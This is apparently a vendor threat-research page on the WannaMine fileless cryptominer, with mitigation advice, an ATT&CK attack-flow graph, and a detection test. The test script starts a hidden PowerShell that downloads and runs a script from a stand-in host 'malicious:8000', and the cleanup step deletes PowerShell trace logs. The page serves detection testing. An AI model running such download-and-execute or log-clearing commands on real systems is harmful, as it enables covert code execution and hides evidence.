SOC Prime Bias: Critical

14 Jan 2026 18:14
newspaper icon picussecurity.com

WannaMine Cryptominer Analysis: Fileless Execution and Persistence

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
WannaMine Cryptominer Analysis: Fileless Execution and Persistence
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Summary

WannaMine is a fileless cryptomining worm that relies on living-off-the-land tooling—primarily PowerShell and Windows Management Instrumentation (WMI)—to stay memory-resident and mine Monero.

Investigation

WannaMine is delivered either through phishing emails carrying malicious batch files or by exploiting the EternalBlue SMB vulnerability. For persistence, it registers WMI event subscriptions and stores encoded PowerShell in custom WMI classes.

WannaMine Mitigation

Prevent EternalBlue exploitation by patching SMB (MS17-010). Constrain PowerShell execution and monitoring, watch for unusual WMI class creation and event consumers, and enforce least-privilege to limit credential misuse.

Response

Alert on abnormal PowerShell/WMI behavior, isolate impacted hosts, remove malicious WMI event consumers/subscriptions, rotate potentially exposed credentials, and perform memory forensics to confirm the in-memory miner.

"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Nodes u2013 Actions action_phishing["<b>Action</b> – <b>T1566.001 Phishing</b>: Spearphishing Attachment delivering a malicious batch file"] class action_phishing action action_user_exec["<b>Action</b> – <b>T1204 User Execution</b>: Victim runs the batch file which launches PowerShell"] class action_user_exec action action_powershell_exec["<b>Action</b> – <b>T1059.001 PowerShell</b>: Hidden PowerShell script determines OS architecture and downloads payload"] class action_powershell_exec action action_wmi_persistence["<b>Action</b> – <b>T1546.003 WMI Event Subscription</b>: Malware creates custom WMI classes and registers event consumers"] class action_wmi_persistence action action_pass_the_hash["<b>Action</b> – <b>T1550.002 Pass the Hash</b>: Extracted NTLM hashes are reused"] class action_pass_the_hash action action_wmiexec["<b>Action</b> – <b>Lateral Movement via WMIExec</b>: Hashes used to run PowerShell on remote hosts"] class action_wmiexec action action_eternalblue["<b>Action</b> – <b>T1210 Exploitation of Remote Services</b>: EternalBlue (MS17u2011010) used when hash reuse fails"] class action_eternalblue action action_defense_evasion["<b>Action</b> – <b>T1550 Use Alternate Authentication Material</b>: Reusing stolen hashes avoids credential prompts"] class action_defense_evasion action action_compute_hijacking["<b>Action</b> – <b>T1496.001 Compute Hijacking</b>: System configured to mine Monero cryptocurrency"] class action_compute_hijacking action action_power_settings["<b>Action</b> – <b>T1653 Power Settings</b>: Poweru2011management altered to prevent sleep and keep mining active"] class action_power_settings action %% Nodes u2013 Tools and Malware file_batch["<b>Tool</b> – <b>Name</b>: Malicious Batch File<br/><b>Description</b>: Container for initial PowerShell command"] class file_batch tool tool_powershell["<b>Tool</b> – <b>Name</b>: PowerShell<br/><b>Description</b>: Scripting engine used for download and execution"] class tool_powershell tool tool_wmi["<b>Tool</b> – <b>Name</b>: Windows Management Instrumentation<br/><b>Description</b>: Registers event subscriptions for persistence"] class tool_wmi tool tool_mimikatz["<b>Tool</b> – <b>Name</b>: Mimikatz Module<br/><b>Description</b>: Extracts NTLM hashes from memory"] class tool_mimikatz tool tool_wmiexec["<b>Tool</b> – <b>Name</b>: WMIExec<br/><b>Description</b>: Executes commands on remote machines via WMI"] class tool_wmiexec tool exploit_eternalblue["<b>Tool</b> – <b>Name</b>: EternalBlue Exploit<br/><b>Description</b>: Exploits SMB vulnerability MS17u2011010"] class exploit_eternalblue tool malware_payload["<b>Malware</b> – <b>Name</b>: Custom Payload<br/><b>Description</b>: Downloaded component that performs mining"] class malware_payload malware process_download["<b>Process</b> – <b>Name</b>: Remote Payload Download<br/><b>Description</b>: Retrieves appropriate binary for OS architecture"] class process_download process process_mining["<b>Process</b> – <b>Name</b>: Monero Miner<br/><b>Description</b>: Consumes CPU cycles for cryptocurrency mining"] class process_mining process %% Connections u2013 Attack Flow action_phishing –>|delivers| file_batch file_batch –>|executed_by_user| action_user_exec action_user_exec –>|triggers| action_powershell_exec action_powershell_exec –>|uses| tool_powershell action_powershell_exec –>|downloads| process_download process_download –>|stores_as| malware_payload malware_payload –>|creates| action_wmi_persistence action_wmi_persistence –>|utilizes| tool_wmi action_wmi_persistence –>|extracts_hashes_with| tool_mimikatz tool_mimikatz –>|enables| action_pass_the_hash action_pass_the_hash –>|enables| action_wmiexec action_pass_the_hash –>|fallback_to| action_eternalblue action_wmiexec –>|performs_lateral_move| process_mining action_eternalblue –>|exploits| exploit_eternalblue exploit_eternalblue –>|gains_access_for| process_mining process_mining –>|leads_to| action_defense_evasion action_defense_evasion –>|enables| action_compute_hijacking action_compute_hijacking –>|modifies| action_power_settings "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    An attacker gains remote code execution on a Windows endpoint. To avoid user interaction, they launch PowerShell in a hidden window (-W Hidden) with no profile (-NoP) and non‑interactive (-NonI). The command uses IEX to download a PowerShell payload from a malicious HTTP server (http://malicious:8000/in6.ps1). The downloaded script registers a WMI class named Office_Updater under rootdefault that stores a property mon containing a Base64‑encoded Monero miner. The attacker then reads the property via [WmiClass] and invokes it, effectively launching the cryptominer without creating a new process. This sequence matches the detection rule’s three command‑line substrings.

  • Regression Test Script:

    #-------------------------------------------------
# Simulate WannaMine fileless cryptominer execution
#-------------------------------------------------
$maliciousServer = "http://malicious:8000"
$payloadPath     = "$maliciousServer/in6.ps1"

# 1. Hidden, non‑interactive PowerShell execution
$cmd = "-NoP -NonI -W Hidden " +
       "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
       "`$mon = ([WmiClass] 'root\default:Office_Updater').Properties['mon'].Value"

# Invoke the command (this is what the attacker would run)
Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow

# Note: The remote script (in6.ps1) is assumed to create the WMI class
# with a "mon" property containing the mining code.

  • Cleanup Commands:

    # Remove the malicious WMI class
Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue

# Stop any lingering PowerShell miner processes (if any were launched)
Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
    Where-Object {$_.CommandLine -match "mon"} |
    Stop-Process -Force

# Optional: Clear PowerShell transcript/log files created during the test
Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free